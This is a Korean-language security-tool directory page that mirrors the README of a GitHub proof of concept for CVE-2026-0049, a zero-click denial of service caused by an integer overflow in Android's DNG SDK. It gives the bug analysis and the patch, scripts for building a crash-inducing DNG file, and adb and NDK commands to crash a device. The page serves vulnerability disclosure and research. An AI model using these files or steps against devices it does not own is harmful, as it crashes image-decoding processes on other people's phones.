Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-0049 — Android DNG SDK의 제로클릭 DoS에 대한 PoC 및 분석: 조작된 DNG 샘플, NDK 크래시 하네스, UBSan/IntSan을 통한 MapTable 오버플로 재현을 포함합니다. | Kitploit
도구/GitHubGitHub/r3n3r0/cve-2026-0049
Android SecurityPayload GenerationVulnerability AnalysisExploitationBinary AnalysisPapers & ResearchLearning & Education
GitHubr3n3r0/cve-2026-0049

CVE-2026-0049

Android DNG SDK의 제로클릭 DoS에 대한 PoC 및 분석: 조작된 DNG 샘플, NDK 크래시 하네스, UBSan/IntSan을 통한 MapTable 오버플로 재현을 포함합니다.

저장소 보기
81개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-0049 — Android DNG 제로클릭 DoS (dng_sdk MapTable add-overflow)

전체 연구 자료 및 PoC. 서술형 분석: 🇮🇹 BLOG.md · 🇬🇧 BLOG.en.md.

  • 버그: dng_opcode_MapTable::ProcessArea의 fAreaSpec.Plane() + fAreaSpec.Planes() unsigned 정수 오버플로 (dng_sdk/source/dng_misc_opcodes.cpp:388).
  • 영향: 제로클릭 DoS. Android가 libdng_sdk.so를 컴파일할 때 사용하는 IntSan이 오버플로를 abort() → SIGABRT로 바꾸어 DNG를 디코딩하는 프로세스를 종료시킵니다.
  • RCE 아님 (루프에 이중 바운드 적용 → OOB 없음). BLOG.md §12 참조.
  • 심각도: Google(게시판)은 Critical로, NVD/CISA는 **Medium(CVSS 6.2)**로 분류 — 동일한 CVE에 대한 서로 다른 두 분류 체계 (§13).
  • 수정: 2026년 4월 Android Security Bulletin (2026-04-01 패치, A-456471290). 두 가지 패치: dng_sdk의 산술 오류 수정(+를 -로 재작성) + LocalImageResolver.java의 MIME allowlist가 DNG를 거부함 (§14).

이 문서는 또한 다음을 자세히 다룹니다: PoC 생성의 전체 과정(§6), NDK harness를 사용한 이유(§7), UBSan/IntSan 플래그 -fsanitize=undefined와 =integer의 차이, recover/no-recover/trap, full/minimal runtime(§10), 그리고 IntSan vs SafeInt vs MTE(§11).

구조

root@kitploit:~
CVE-2026-0049/
├── BLOG.md                       articolo completo — italiano (17 sezioni)
├── BLOG.en.md                    full article — English (17 sections)
├── poc/
│   ├── inject_opcode.py          [PRINCIPALE] inietta OpcodeList2/MapTable in un DNG valido
│   ├── gen_base_dng.py           genera il DNG Bayer valido di base (richiede pidng)
│   ├── make_dng.py               generatore stand-alone (DNG minimale + opcode)
│   └── make_poc_dng.py           primo generatore from-scratch (LinearRaw minimale)
├── harness/
│   ├── decode_poc.c              harness NDK AImageDecoder (crash on-device)
│   └── dng_xmp_stub.cpp          stub XMP per compilare dng_validate su PC
├── samples/
│   ├── valid_poc.dng             PoC funzionante (fa crashare il decoder di sistema)
│   ├── base_benign.dng           controllo benigno (decodifica senza crash)
│   └── poc_minimal.dng           variante minimale from-scratch
└── evidence/
    ├── crash_backtrace.txt       tombstone reale dal Pixel 9
    └── device_analysis.md        analisi binaria libdng_sdk.so + IntSan/SafeInt/MTE

빠른 재현

A) 악성 DNG

root@kitploit:~
pip install pidng
python3 poc/gen_base_dng.py base                     # -> base.dng (Bayer valido)
python3 poc/inject_opcode.py base.dng valid_poc.dng poc
# oppure usa direttamente samples/valid_poc.dng

중요한 세부 사항: AreaSpec은 비어 있지 않아야 합니다(0,0,H,W). 영역이 비어 있으면 Android dng_sdk가 단락(short-circuit)되어 디코딩이 크래시 없이 오류를 반환합니다(BLOG.md §6.6 참조). 최소 DNG가 아니라 완전히 유효한 DNG가 필요한 이유: SkRawCodec(시스템 디코더)은 Glide/Photos보다 엄격해서 완전한 색상 메타데이터가 없는 DNG를 거부합니다(§2, §6.1).

B) 기기 내 크래시 (NDK harness)

root@kitploit:~
$NDK/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android34-clang \
    -O0 -o decode_poc harness/decode_poc.c -ljnigraphics
adb push decode_poc valid_poc.dng /data/local/tmp/     # NB: /data/local/tmp, NON /sdcard (FUSE)
adb shell /data/local/tmp/decode_poc /data/local/tmp/valid_poc.dng
# -> Abort message: 'ubsan: add-overflow' ; SIGABRT in dng_opcode_MapTable::ProcessArea

C) PC(스마트폰 없이)에서 dng_validate + UBSan으로 재현

dng_misc_opcodes.cpp에 만 -fsanitize=integer -fno-sanitize-recover를 적용하여 dng_sdk 소스를 컴파일합니다(XMP SDK 없이 링크하려면 harness/dng_xmp_stub.cpp 사용). 그런 다음:

root@kitploit:~
./dng_validate samples/valid_poc.dng
# dng_misc_opcodes.cpp:388:32: runtime error: unsigned integer overflow: 4294967040 + 512

연구/교육 목적으로만 사용. 자체 소유 하드웨어에서만 테스트됨.

도구 다운로드